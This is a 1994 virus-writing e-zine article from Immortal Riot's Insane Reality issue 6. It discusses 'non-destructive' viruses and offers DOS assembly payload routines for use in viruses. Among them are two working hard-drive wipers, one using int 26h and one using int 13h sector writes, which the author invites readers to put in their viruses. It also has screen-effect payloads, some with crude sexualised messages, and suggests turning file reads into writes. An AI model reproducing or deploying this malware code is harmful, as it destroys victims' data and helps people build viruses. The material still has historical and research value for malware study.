Insane Reality issue #6 - (c)opyright 1994 Immortal Riot                File 003

% Non-Desuctive-Viruses and Payloads %

This article will deal with the issue non-destructive viruses and payloads.
Let's first deal with this somehow very boring, already discussed issue
concering non-destructive viruses, from where we'll look at some payloads
ideas, and code.

In my opinion, even if most of the virus writers doesn't share it, there is
no such thing as an undestructive virus. Viruses aren't beneficial for 
shits, making them destructive. Hrmph? A somehow narrow-minded view why
viruses are harmful, right? Well. We all cannot share the same opinion's and
that's something very good. However, before you stop reading this article,
get's on IRC, and start telling all the people there, what a close-
minded anti-virus geek I am, you should atleast try to open up your mind,
and listen to what I, and other persons in the virus community has to say and
write. Otherwise, you are just as narrow-minded as me, damnit :).

There has already been a shitload of articles, messages and other easy-to-get 
material concerning this subject, so writing brand new opinions is, shall we 
say, rather overambitious, and very hard. Instead, I chosed to reprint some 
old material. Here follows some opinion expressed by Vesselin Bontchev's in 
his write-up 'A dozen reasons why a "good" virus is a bad idea'.

 impossibility to control it or possibility to lose control
  over it
 uncertainty in discerning "good" from "bad" viruses 
 resource wasting
 bugs which are harder to detect and easier to spread around
 modification of programs
 modification of data/programs without active authorization of user
 possibility to lose ownership rights for infected programs
 possibility to modify a "good" virus with malicious code
  to transport such a code further
 the question of responsibility of persons writing viruses
 the question of suitability of "good" viruses to perform a
  certain task

Ok. Let's sum it up in three words. 'Vesselin is right'. Also, nearly noone
is trying to make a virus benefitial, i.e. we're even at forehand making the 
whole question about good-viruses into a non issue.

Actually I've only seen _one_ virus so far that can be used in a good way, and
that's Stormbringer's self-replicating encryption device. The replicating code 
in it served however no purpose at all, still the program was useful. But a 
good virus should include functions that can't be done in a normal
program, and since everything useful can be done with ordinary resident 
programs, it's an impossible task to write a good virus. 

Furthermore, some people claim 'But I am doing A.I. research, and that's
why I'm writing viruses'. Please stop lie to yourself, that is just a bad 
excuse for screwing with arrogant users. A computer virus does _exactly_
what it's programmed to do, and is not intelligent. Comparing computer-viruses
with artifictial life is one thing.. but intelligence? No way. Still over
50% of the user on fido-net's virus discussion thought that computer viruses 
and A.I. could be compared. The only thing that figure says, is that the 
meeting is full of virus-writer's a.k.a. A.I.-reseracher's wanna-be's.

The conclusing is that there is no such thing as an undestructive virus,
there is definitly not any good virus, and there will probably never be
a virus that is benefitial. People who are calling viruses intelligent
compare their creation with themselves which ofcos leads to they find the
virus smart. It can do things they can't, even though they created it, right?
Many virus writer's find it 'ok' to create perverted little programs, with
the motivation that they are doing something good or even A.I. research.
Hrm, ok. Enough bitching, let's go further.

There is however plenty of viruses that doesn't do any deliberate damage.
"It's unknown what this virus does besides replicate", might ring a bell?
These pure replicators, has absolutely no other function than replicate
(which they seldom do, bcos it's frowned upon to release viruses into the
wild..), and serves no purposes at all.

Well, I'm not saying that all viruses should include a naughty hd-trasher,
even though I have a kinky obsession to include such code. However, I do
indeed think that a virus should include side-effects (payloads..). A
payload can be _anything_ which serve a purpose except for replicating,
and to screw anti-virus programs. Printing a dully textstring is in some cases 
enough, but the fancier the payload is, the more attention will the virus draw.

So.. here follow some examples of how a payload could look like. Ofcos,
it's not a good thing to rip of this code and include it in your own virus
since a payload should be original. However this might inspire you in some
way when you're writing your next virus.

Let's start with the cruel, higly used one's, that is the sector wipers
and then go on into the more creative kinda payloads.

=========( Payload for screwing harddrive's the int26 way )=====================

	mov al,2

	drive:                          
	mov     cx,1			  
	lea     bx,trashnote
	cwd
	Next_Sector:			  
	int     26h		        
	inc     dx		
	jnc     next_sector
	inc     al		        
	jnc     short drive
	mov     ah,09h
        mov     dx, offset trashnote
        int     21h
        int     20h
        trashnote db "Smohe my arse!$"

=========( Payload to screw the harddrive's the int13 way )=====================

        int13hwrite:
        xor	dx, dx                   
        rape_hd:       
	mov	cx,2     
	mov	ax,311h      
	mov	dl,80h                  
	mov	bx,5000h          
	mov	es,bx       
	int	13h                   
	jae	rape_hd2
	xor	ah,ah             
	int	13h                
	rape_hd2:                
	inc	dh                  
	cmp	dh,4                       
	jb	rape_hd       
	inc	ch                  
	jmp     short int13hwrite

Above there are two examples how cruel payload's could look like, these 
routines are widely used, disliked (not very strange, is it?), and my
opinion is that they should only be used by irresponsible maniacs. So,
if you feel that you belong to one of those, feel free to use them in
your virus! Good variants of the code listened above is simple to exchange
the sector write to a sector read. That would scare some people to 
believe that their harddrive's were wiped out, when infact, they weren't.

A few other nice ideas (to which I will not present code..) is to on random
bases exchange file-read's (3fh/int21h) to a file read (40h/int21h), or
sector-read's to sector-write's.

However, for the people out there who don't want to deliberate harm arrogant
(and inarrogant also for that matter) users, I'll now present some nicer 
variants on how payloads could be.

=========( The classic jerusalem box kinda payload )============================
          
	mov     ax,602h
	mov     bh,87h
	mov     cx,505h
	mov     dx,1010h
	int     10h
	int     20h

That routine was original when it was used the first time, however it's
kinda outdated now, but could be used to make the infected user believe
that he's infected with the standard jerusalem virus. That could be pretty
fun.

Another fun idea concerning screen tricks could be a little small flash,
like this. Afterall, white colour are the colour of virgin, which is
pretty nice.

=========( White to black flash payload )=======================================

	mov     ah,9
	mov     dx, offset note
	int     21h
	push    ax
	push    cx
	push    dx
	mov     ax,03f00h	
	mov     dx,03c8h
	out     dx,al
	inc     dx
	mov     ax,0ffffh
	out     dx,al
	xchg    al,ah
	out     dx,al
	xchg    al,ah
	out     dx,al
	mov     cx,5
	fl1:    push   cx
	mov     cx,0ffffh
	loop    $ 
	pop     cx
	loop    fl1  
	dec     dx
	xor     ax,ax
	out     dx,al
	inc     dx
	out     dx,al
	out     dx,al
	out     dx,al
	pop     dx
	pop     cx
	pop     ax
	ret
        note    db "hiya all! tuir here, so wassup??$"

The above routine could for instance easily turn into a little more fancier
routine, like the fading routine below. The catch with those routines are
that they take a shitload of space in the virus, and are also highly visible. 
But, it could be worth to have them included in some virus, or variant
that aren't designed to be specific small.

=========( White to black fade payload )========================================

        mov     dx, offset note
        mov     ah,9
        int     21
        mov     dx,03c8
        xor     ax,ax
        out     dx,al
        inc     dx
        mov     al,03f
        out     dx,al
        out     dx,al
        out     dx,al
        mov     cx,03e
ffd:    dec     dx
        xchg    ah,al
        out     dx,al
        inc     dx
        xchg    ah,al
        out     dx,al
        out     dx,al
        out     dx,al
        dec     al
        call    poz
        call    poz
        loop    ffd
        ret
poz:    push    ax
        push    dx
        cli
        mov     dx,03da
q1:     in      al,dx
        test    al,8
        jnz     q1
q2:     in      al,dx
        test    al,8
        jz      q2
        sti
        pop     dx
        pop     ax
        ret
        note db 'come to daddy little girl, and I will help you to grow up..''$'

An even fancier, yet not much larger kinda screen trick could look like the
below listed routine. Such routines could be triggered for example, 
before a totally destruction on all harddrives, combining two payloads.
Atleast you warned them, which is a good excuse for raping all his data.

=========( Character scweeezing scroll payload )================================

        call	_1                        
        _1:                            
        call	_2                        
        _2:                            
        call	_3                        
	_3:

        mov     dx,03d4h
        mov     al,9
        out     dx,al
        inc     dx
        in      al,dx
        mov     ah,al
        and     al,0e0h
        or      al,1
        out     dx,al
        push    ax
	mov     ah,9
	mov     dx, offset l
	int     21h
        pop     ax
        mov     dx,03d4h
        mov     al,9
        out     dx,al
        mov     cl,ah
        and     cl,01fh
        xor     ch,ch
        mov     al,ah
        and     al,0e0h
        or      al,1
        inc     dx
     w5:call    w6
        call    w6
        out     dx,al
        inc     al
        loop    w5
     w6:push    dx
        push    ax
        mov     dx,03dah
     w1:in      al,dx
        test    al,8
        jnz     w1
     w2:in      al,dx
        test    al,8
        jz      w2
        pop     ax
        pop     dx
	ret

  l db "I'm guilty, but the society is to blame, blah-blah, or whatever... "
  db  0ah
  db  0dh
  db  '$'

There is ofcos no rule how a payload should look like, but for a great
inspiration on how one could be written, simply look at AVP version
2+. If you are unfamiliar with writing such routines, you could dissassembly
AVP and find them there. If you think that is easier.

My favourite pay-loads are playgame (which I dont have the source to..),
and the one inside the Crusifiction virus, written by Jesus of Trinity.
The source code to the above named payload was releasled in Revelation one
(a virusdisk magazine, very good.. ), so no reason for duplicating.

Well.. When we're including nice payloads, here follow yet another one,
which display the word 'NUKE' when activated. This routine is very nice,
consider its space (190 bytes!) Kinda fun to see guys from 'the other side' 
writing payloads.. Afterall Mr. Loerakker has written several special-made 
anti-virus programs for Virus Help Centre, Sweden. Hehe. Naw, actually this 
guy is really cool, and beside's that, most virus writers code AV as well.
Urm, not saying that he's a viruswriter or anything.. 

;******************************************************************************
; Example of a nice activation routine (non-destructive, that is)             *
; (C) 1994 by R. Loerakker                                                    *
;                                                                             *
; This may be used freely in a virus as an activation routine. To change the  *
; source code is not illegal, but there is just one (1) thing you need to do  *
; before you may use it. This piece of code may only be used if any           *
; destructive code is left out of the virus (no nuking INT 13h and INT 26h    *
; routines).                                                                  *
;******************************************************************************

.MODEL		TINY			; Make it COMe
.CODE					; Only a CODE segment (COM file)
.RADIX		16			; Easier for hex writing

BCOLOR		EQU	40		; Begin of colorset to use
ECOLOR		EQU	60		; End of colorset to use

		ORG	100		; If you don't understand this,
                                        ; get lost ;-)

		;--- Main code starts here ---
BEGIN:		MOV	AX,13		; Get into 320x200x256 mode
		INT	10

		MOV	AX,0A000	; A000=Vga display segment
		PUSH	AX
		POP	ES

		MOV	SI,OFFSET DOTTABLE ; Point to Dot Table list

		MOV	BP,320D		; Amount of Pixels on a line

		MOV	DX,BCOLOR	; Initialize color counter
		PUSH	DX

FETCHDOT:	LODSW			; Get X,Y data

		CMP	AX,0FFFF	; If 255,255 Goto DONE
		JE	DONE

		MOV	BX,AX		; All these fancy calculations make
		AND	BX,0FF		; it possible to put a 10x25 block on
		MOV	DI,BX		; the screen. If you really want to
		XCHG	AH,AL		; dig this (messy) routine, use
		AND	AH,0		; a debugger for it.
		MUL	BP
		ADD	DI,AX
		POP	DX
		MOV	BX,0
STOREVERTI:	MOV	CX,10D		; 10 Dots
		MOV	AL,DL
STOREHORIZ:	STOSB
		LOOP	STOREHORIZ

		ADD	DI,310D
		INC	BX
		INC	DL
		CMP	DL,ECOLOR
		JBE	COLOROK
		MOV	DL,BCOLOR
COLOROK:
		CMP	BX,25D		; 25 Lines
		JNE	STOREVERTI
		PUSH	DX
		JMP	FETCHDOT

DONE:           MOV     AH,0            ; Wait for a keystroke
		INT	16
		MOV	AX,3		; Clear screen
		INT	10
		POP	DX
		RET			; Go back where you came from

.RADIX          10                      ; For easier calculation fo the points

DOTTABLE	EQU	THIS BYTE
		; You may want to change to locations to make your
		; own text in it. Now the word 'NUKE' is formed.

		; N
		DB	0,0,0,25,0,50,0,75,0,100
		DB	10,25,20,50,30,75
		DB	40,0,40,25,40,50,40,75,40,100

		; U
		DB	60,0,60,25,60,50,60,75
		DB	70,100,80,100,90,100
		DB	100,0,100,25,100,50,100,75

                ; K
		DB	120,0,120,25,120,50,120,75,120,100
		DB	160,0,150,25,140,50,130,50,150,75,160,100

		; E
		DB	180,0,180,25,180,50,180,75,180,100
		DB	190,0,200,0,210,0,220,0
		DB	190,50,200,50
		DB	190,100,200,100,210,100,220,100

                ; End marker
		DB	255,255

		END	BEGIN
		END
;*******************************************************************************

So. The conclusion about payloads is this: They're funny, but are really
wastening with the bytes used by the virus. The solution to this is simply
to release two (or more) variants of the same virus! Makes sense? Well,
thought so..  

Another disadvantage with a great and fancy payload is that they are (if used 
to often..) too visible. Too this, there is no simple solution, but the 
advantage is that they draw's much more attention then if it didn't include 
that routine. Specially now, since AVP has become world-wide used! 
That's it, hope ya liked it! 
 	  -                    	                   __ The Unforgiven __
